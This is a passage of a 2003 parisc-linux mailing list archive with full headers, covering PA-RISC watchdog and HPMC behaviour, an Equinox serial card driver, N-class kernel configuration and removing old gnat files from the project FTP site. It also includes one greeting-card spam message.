vmunix to disassemble) so I could possibly write something better than
softdog.c?

MfG, JBG

--=20
   Jan-Benedict Glaw       jbglaw@lug-owl.de    . +49-172-7608481
   "Eine Freie Meinung in  einem Freien Kopf    | Gegen Zensur
    fuer einen Freien Staat voll Freier B=FCrger" | im Internet!
   Shell Script APT-Proxy: http://lug-owl.de/~jbglaw/software/ap2/

--Tu8ztk+XgTAiG9Id
Content-Type: application/pgp-signature
Content-Disposition: inline

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.1 (GNU/Linux)

iD8DBQE+TTFMHb1edYOZ4bsRAjkxAJ9E/leCJ/b5NGVY/p3M42fZCMnzHACfZu0Q
qnAUICDNC44O7P+U6qPS6ec=
=m5fC
-----END PGP SIGNATURE-----

--Tu8ztk+XgTAiG9Id--


From - Thu Nov 08 21:26:48 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: apcupsd-devel@master.oasi.gpa.it
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] apcupsd-devel sent you a card from NiceCards!
Date: 15 Feb 2003 10:24:42 -0000
Lines: 42
Approved: news@gmane.org
Message-ID: <20030215102442.21628.qmail@e74.friendfinder.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416622218 21841 80.91.229.3 (22 Nov 2014 02:10:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:10:18 +0000 (UTC)
To: parisc-linux <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Feb 15 03:24:57 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail171 (e66.friendfinder.com [216.34.38.66])
	by dsl2.external.hp.com (Postfix) with SMTP id 5DE6A482B
	for <parisc-linux@lists.parisc-linux.org>; Sat, 15 Feb 2003 03:24:52 -0700 (MST)
Original-Received: (qmail 24385 invoked by uid 0); 15 Feb 2003 10:24:45 -0000
Original-Received: from unknown (HELO e74.friendfinder.com) (216.34.38.66)
  by ef171.friendfinderinc.com with SMTP; 15 Feb 2003 10:24:45 -0000
Original-Received: (qmail 21629 invoked by uid 65534); 15 Feb 2003 10:24:42 -0000
X-FF-Special: t
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17719

Dear parisc-linux,

Guess what?  apcupsd-devel (apcupsd-devel@master.oasi.gpa.it) has sent you a greeting card!

Your card can be picked up by clicking on the following link:

http://nicecards.com/card/4017922-SYGRY

or

By going to our card pick-up page at:

http://nicecards.com/

and entering in the following card ID: 4017922-SYGRY

Thank you!

team@nicecards.com
NiceCards

Note: Your card will be kept in our card center for two weeks.  After two
weeks, your card will be deleted.

====================================================================
Try out these other great sites in the NiceCards network!

    http://friendfinder.com - Dating and friendship personals
    http://asiafriendfinder.com - Chinese personals
    http://frenchfriendfinder.com - French personals
    http://koreanfriendfinder.com - Korean personals
    http://germanfriendfinder.com - German personals
    http://amigos.com - Spanish personals
    http://seniorfriendfinder.com - Senior personals
    http://churchfriendfinder.com - Christian/spiritual personals
    http://adultfriendfinder.com - Adults only personals
    http://outpersonals.com - Gay personals
    http://sharerent.com - Roommate/housing directory
    http://friendpages.com - Free homepages
    http://friendparty.com - Free party invites and photo sharing
    http://dine.com - Free restaurant reviews and menus


From - Thu Nov 08 21:26:48 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: grundler@dsl2.external.hp.com (Grant Grundler)
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] J3592A hp product
Date: Sun, 16 Feb 2003 01:24:04 -0700
Lines: 48
Approved: news@gmane.org
Message-ID: <20030216082404.GB18888@dsl2.external.hp.com>
References: <3E48441000001767@ocpmta7.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622218 21842 80.91.229.3 (22 Nov 2014 02:10:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:10:18 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Joel Soete <jsoe0708@tiscali.be>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Feb 16 01:24:04 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: by dsl2.external.hp.com (Postfix, from userid 26925)
	id 3D2C34829; Sun, 16 Feb 2003 01:24:04 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <3E48441000001767@ocpmta7.freegates.net>
User-Agent: Mutt/1.3.28i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17720

On Fri, Feb 14, 2003 at 05:48:35PM +0100, Joel Soete wrote:
> Hi all,
> 
> I have a PCI SerialMux (8ports) which I put back in my b180.

I'll assume you are talking about the HO board here.

> a cat /proc/pci learn me that it seems to be an 'Equinox System' card:
> root@fw01:~# cat /proc/pci
> PCI devices found:
>   Bus  0, device   1, function  0:
>     Serial controller: PCI device 113f:90f0 (Equinox Systems, Inc.) (rev
> 4).
>       IRQ 96.
>       Non-prefetchable 32 bit memory at 0xf0ff0000 [0xf0ffffff].
> 
> Is it possibly true?

yes. This board is the SST-8P with a different device ID.
Mail that I've exchanged with Equinox about this explained they
are contractually prohibited from supporting this board with
non-HPUX drivers.

Anyway, a few lines changes (I don't have the patch handy)
based on this note should be sufficient:
| p.s.,  I can tell you that the standard SST-8P ID is 0x9090 in case
| that helps you debug your baud rate problem.

Add a few case statements where you find "case 0x9090".
I know this hack works with 4.04 eqnx driver becuase I'm using
the same HP card in an x86 machine linux as a console server.
Sorry - I don't have a patch handy or know exactly where I keep
the source for that at the moment.

> On Equinox site it seems that drivers is included into Linux kernel.
> I have only found reference to this driver into drivers/pci/devices.h.

uhm...no. Maybe 2.5 kernels or something. I've put the original
tarballs I found on:
	ftp://gsyprf10.external.hp.com/pub/equinox

> Is somebody could advise me on howto insert this driver into kernel?

I use modprobe.  :^P
IIRC, the tarball has a readme on how to build/install.

grant


From - Thu Nov 08 21:26:49 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: grundler@dsl2.external.hp.com (Grant Grundler)
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Watchdog on parisc?
Date: Sun, 16 Feb 2003 01:31:10 -0700
Lines: 30
Approved: news@gmane.org
Message-ID: <20030216083110.GC18888@dsl2.external.hp.com>
References: <20030214181124.GJ13355@lug-owl.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622218 21845 80.91.229.3 (22 Nov 2014 02:10:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:10:18 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Jan-Benedict Glaw <jbglaw@lug-owl.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Feb 16 01:31:10 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: by dsl2.external.hp.com (Postfix, from userid 26925)
	id CEE574829; Sun, 16 Feb 2003 01:31:10 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <20030214181124.GJ13355@lug-owl.de>
User-Agent: Mutt/1.3.28i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17721

On Fri, Feb 14, 2003 at 07:11:24PM +0100, Jan-Benedict Glaw wrote:
> Hi!
> 
> I'm currently playing a bit with my B132L and 715. They're working quite
> nice, except that kernels aren't too stable (gcc-3.2, I'll do some more
> test compiles with gcc-3.0, too).

gcc-3.2.1 has a few bugs that have bitten us already (search mail
archive on "pty.c"). I'm not sure if it's better to stick with
gcc 3.0 or grab something that's bleeding edge (gcc 3.3.x).

> I've looked through the docs available if a watchdog is mentioned. In
> ./docs/platforms/b1xx-service.pdf there's a watchdog timeout error
> declared (during selftest) so I *think* there is a watchdog, isn't
> there?

I'm not sure what this is refering to. The CPU has some HW checking
that is a sort of watchdog but it's CPU internal and only the firmware
touches those.

> I've not yet seen a driver for it, nor have I seen any
> documentation. Is there a watchdog (and possibly some docu or an hpux
> vmunix to disassemble) so I could possibly write something better than
> softdog.c?

not if it's what I'm thinking of (transaction timeout, ie causes an
HPMC). This is a built-in HW feature. 

grant


From - Thu Nov 08 21:26:49 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jan-Benedict Glaw <jbglaw@lug-owl.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Watchdog on parisc?
Date: Sun, 16 Feb 2003 10:42:35 +0100
Lines: 73
Approved: news@gmane.org
Message-ID: <20030216094234.GG351@lug-owl.de>
References: <20030214181124.GJ13355@lug-owl.de> <20030216083110.GC18888@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; micalg=pgp-sha1;
	protocol="application/pgp-signature"; boundary="f5QefDQHtn8hx44O"
X-Trace: ger.gmane.org 1416622219 21851 80.91.229.3 (22 Nov 2014 02:10:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:10:19 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Feb 16 02:42:36 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from dvmwest.gt.owl.de (dvmwest.gt.owl.de [62.52.24.140])
	by dsl2.external.hp.com (Postfix) with ESMTP id 27DB74829
	for <parisc-linux@parisc-linux.org>; Sun, 16 Feb 2003 02:42:36 -0700 (MST)
Original-Received: by dvmwest.gt.owl.de (Postfix, from userid 1001)
	id 1A4174A92D; Sun, 16 Feb 2003 10:42:35 +0100 (CET)
Content-Disposition: inline
In-Reply-To: <20030216083110.GC18888@dsl2.external.hp.com>
User-Agent: Mutt/1.4i
X-Operating-System: Linux mail 2.4.18 
X-gpg-fingerprint: 250D 3BCF 7127 0D8C A444  A961 1DBD 5E75 8399 E1BB
X-gpg-key: wwwkeys.de.pgp.net
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17722

--f5QefDQHtn8hx44O
Content-Type: text/plain; charset=iso-8859-1
Content-Disposition: inline
Content-Transfer-Encoding: quoted-printable

On Sun, 2003-02-16 01:31:10 -0700, Grant Grundler <grundler@dsl2.external.h=
p.com>
wrote in message <20030216083110.GC18888@dsl2.external.hp.com>:
> On Fri, Feb 14, 2003 at 07:11:24PM +0100, Jan-Benedict Glaw wrote:
> > Hi!
> >=20
> > I'm currently playing a bit with my B132L and 715. They're working quite
> > nice, except that kernels aren't too stable (gcc-3.2, I'll do some more
> > test compiles with gcc-3.0, too).
>=20
> gcc-3.2.1 has a few bugs that have bitten us already (search mail
> archive on "pty.c"). I'm not sure if it's better to stick with
> gcc 3.0 or grab something that's bleeding edge (gcc 3.3.x).

Yeah, I know. I followed that thread. gcc-3.0 seems to produce a more
stable kernel, but even there are some gotchas (eg. strace'ing programs
often leads to stuck userland while I still can ping the box or complete
the three-way-handshake of a starting TCP connection...).

I'd possibly spend some time in invensting this...

> > I've looked through the docs available if a watchdog is mentioned. In
> > ./docs/platforms/b1xx-service.pdf there's a watchdog timeout error
> > declared (during selftest) so I *think* there is a watchdog, isn't
> > there?
>=20
> I'm not sure what this is refering to. The CPU has some HW checking
> that is a sort of watchdog but it's CPU internal and only the firmware
> touches those.

So there's nothing what's like a watchdog as you know it from some
machines (SGI Indys for example) or as add-on cards in machines (PCI/ISA
cards).

> > I've not yet seen a driver for it, nor have I seen any
> > documentation. Is there a watchdog (and possibly some docu or an hpux
> > vmunix to disassemble) so I could possibly write something better than
> > softdog.c?
>=20
> not if it's what I'm thinking of (transaction timeout, ie causes an
> HPMC). This is a built-in HW feature.=20

Hmmm... Triggering a HPMC would be a neat feature. So we could think
about a way to initiate something that, if not handled, would trigger a
HPMC some 60 seconds later:-?

MfG, JBG

--=20
   Jan-Benedict Glaw       jbglaw@lug-owl.de    . +49-172-7608481
   "Eine Freie Meinung in  einem Freien Kopf    | Gegen Zensur
    fuer einen Freien Staat voll Freier B=FCrger" | im Internet!
   Shell Script APT-Proxy: http://lug-owl.de/~jbglaw/software/ap2/

--f5QefDQHtn8hx44O
Content-Type: application/pgp-signature
Content-Disposition: inline

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.1 (GNU/Linux)

iD8DBQE+T10KHb1edYOZ4bsRAuBOAJ94z7p8+gT4KNrOeN+r89dxn041/ACfTLvP
5HQTKcfv2qc1SR8SCUvkiGM=
=U+5l
-----END PGP SIGNATURE-----

--f5QefDQHtn8hx44O--


From - Thu Nov 08 21:26:49 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: grundler@dsl2.external.hp.com (Grant Grundler)
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Watchdog on parisc?
Date: Sun, 16 Feb 2003 22:11:08 -0700
Lines: 26
Approved: news@gmane.org
Message-ID: <20030217051108.GB17823@dsl2.external.hp.com>
References: <20030214181124.GJ13355@lug-owl.de> <20030216083110.GC18888@dsl2.external.hp.com> <20030216094234.GG351@lug-owl.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622219 21854 80.91.229.3 (22 Nov 2014 02:10:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:10:19 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Jan-Benedict Glaw <jbglaw@lug-owl.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Feb 16 22:11:08 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: by dsl2.external.hp.com (Postfix, from userid 26925)
	id 96DAC4829; Sun, 16 Feb 2003 22:11:08 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <20030216094234.GG351@lug-owl.de>
User-Agent: Mutt/1.3.28i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17723

On Sun, Feb 16, 2003 at 10:42:35AM +0100, Jan-Benedict Glaw wrote:
> So there's nothing what's like a watchdog as you know it from some
> machines (SGI Indys for example) or as add-on cards in machines (PCI/ISA
> cards).

Offhand, I think all the HP9000/8xx servers have either built-in
or add-on "management ports" for remote console. And that always
includes ability to reset or cycle power on the machine (or generate TOC).

> > not if it's what I'm thinking of (transaction timeout, ie causes an
> > HPMC). This is a built-in HW feature. 
> 
> Hmmm... Triggering a HPMC would be a neat feature. So we could think
> about a way to initiate something that, if not handled, would trigger a
> HPMC some 60 seconds later:-?

Generating an HPMC is easy. reference an address in MMIO space that
isn't maintained by a device.  Figuring out a failsafe way of knowing
when to trigger the HPMC is the hardpart.
 
Besides, Lamont proposed a patch to reset the machine after HPMC/panic.
I thought it was a great idea but several people I trust tell me it
needs a bit more work.

grant


From - Thu Nov 08 21:26:49 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <jsoe0708@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] .config fo a N class?
Date: Mon, 17 Feb 2003 12:42:54 +0100
Lines: 30
Approved: news@gmane.org
Message-ID: <3E48B5950000297E@ocpmta3.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622219 21857 80.91.229.3 (22 Nov 2014 02:10:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:10:19 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Feb 17 04:42:57 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolm3.tiscalinet.be [212.35.2.72])
	by dsl2.external.hp.com (Postfix) with ESMTP id 2C1FC4829
	for <parisc-linux@parisc-linux.org>; Mon, 17 Feb 2003 04:42:57 -0700 (MST)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali) 
	id 18kjfk-0003Fn-00
	for <parisc-linux@parisc-linux.org>; Mon, 17 Feb 2003 12:42:56 +0100
Original-Received: from [193.75.200.4] by mail.tiscali.be with HTTP; Mon, 17 Feb 2003 12:42:54 +0100
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17724

Hi all,

I have the oportunity to test temporary a N class (N4000-55) dual processor.

I grab the config file of the test-drive L model; apply it against current
k-2.4.20-pa26 (just change 64 to 32 bits). I install this kernel on a ext
scsi disk and try to boot; unforunately it doesn't goes further than palo
message:
...
a common symptom -- search the FAQ and ml ..."

I try get a pim (from gsp TC); unfortunately empty (I mean all null values).

The only report (on esiee) I found regarding this kind of server was running
a 2.4.9 64 bits kernel.

Can somebody help me to find the corresponding config file?

Any add advise and idea are wellcome,
Thanks in advance,
    Joel


---------------------------------
Vous surfez avec une ligne classique ?
Faites des economies avec Tiscali Complete
... Plus d'info sur http://complete.tiscali.be




From - Thu Nov 08 21:26:49 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] removal of gnat
Date: Mon, 17 Feb 2003 15:16:59 +0000
Lines: 12
Approved: news@gmane.org
Message-ID: <20030217151659.D28902@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622220 21862 80.91.229.3 (22 Nov 2014 02:10:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:10:20 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Feb 17 08:17:01 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 2F5B64829
	for <parisc-linux@parisc-linux.org>; Mon, 17 Feb 2003 08:17:01 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.33 #5)
	id 18kn0u-0007YP-00
	for parisc-linux@parisc-linux.org; Mon, 17 Feb 2003 15:17:00 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17725

on the ftp site, we currently have http://ftp.parisc-linux.org/gnat/
containing adarts.tar.bz2, gcc-bin-3.1-20020423.tar.bz2 and gnatxc.tar.gz.
i'm going to remove them unless anyone thinks this is an important part
of our bringup history to keep around.  as the person who did them,
i don't think they're important to keep.  i'll delete them tomorrow
unless someone says `stop'.

-- 
"It's not Hollywood.  War is real, war is primarily not about defeat or
victory, it is about death.  I've seen thousands and thousands of dead bodies.
Do you think I want to have an academic debate on this subject?" -- Robert Fisk


From - Thu Nov 08 21:26:49 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Harri Haataja <harri.haataja@kolumbus.fi>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] removal of gnat
Date: Mon, 17 Feb 2003 17:21:58 +0200
Lines: 17
Approved: news@gmane.org
Message-ID: <20030217172157.A83956@azrael.blades.cxm>
References: <20030217151659.D28902@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622220 21870 80.91.229.3 (22 Nov 2014 02:10:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:10:20 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Feb 17 08:22:02 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from azrael.blades.cxm (ua8d10hel.dial.kolumbus.fi [62.248.137.8])
	by dsl2.external.hp.com (Postfix) with ESMTP id 9673C482C
	for <parisc-linux@parisc-linux.org>; Mon, 17 Feb 2003 08:22:01 -0700 (MST)
Original-Received: (from blades@localhost)
	by azrael.blades.cxm (SGI-8.9.3/8.9.3) id RAA87877
	for parisc-linux@parisc-linux.org; Mon, 17 Feb 2003 17:21:58 +0200 (EET)
X-Authentication-Warning: azrael.blades.cxm: blades set sender to harri.haataja@kolumbus.fi using -f
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <20030217151659.D28902@parcelfarce.linux.theplanet.co.uk>; from willy@debian.org on Mon, Feb 17, 2003 at 03:16:59PM +0000
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17726

On Mon, Feb 17, 2003 at 03:16:59PM +0000, Matthew Wilcox wrote:
> on the ftp site, we currently have http://ftp.parisc-linux.org/gnat/
> containing adarts.tar.bz2, gcc-bin-3.1-20020423.tar.bz2 and
> gnatxc.tar.gz.  i'm going to remove them unless anyone thinks this is
> an important part of our bringup history to keep around.  as the
> person who did them, i don't think they're important to keep.  i'll
> delete them tomorrow unless someone says `stop'.

If there's ada stuff and gnat in particular there, I hope removing that
won't take out the last ada system available. I believe it's quite hard
to get back.

-- 
I was playing poker the other night... with Tarot cards.
I got a full house and 4 people died.
	-- Steven Wright


From - Thu Nov 08 21:26:49 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] removal of gnat
Date: Mon, 17 Feb 2003 15:26:31 +0000
Lines: 15
Approved: news@gmane.org
Message-ID: <20030217152631.E28902@parcelfarce.linux.theplanet.co.uk>
References: <20030217151659.D28902@parcelfarce.linux.theplanet.co.uk> <20030217172157.A83956@azrael.blades.cxm>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622220 21874 80.91.229.3 (22 Nov 2014 02:10:20 GMT)
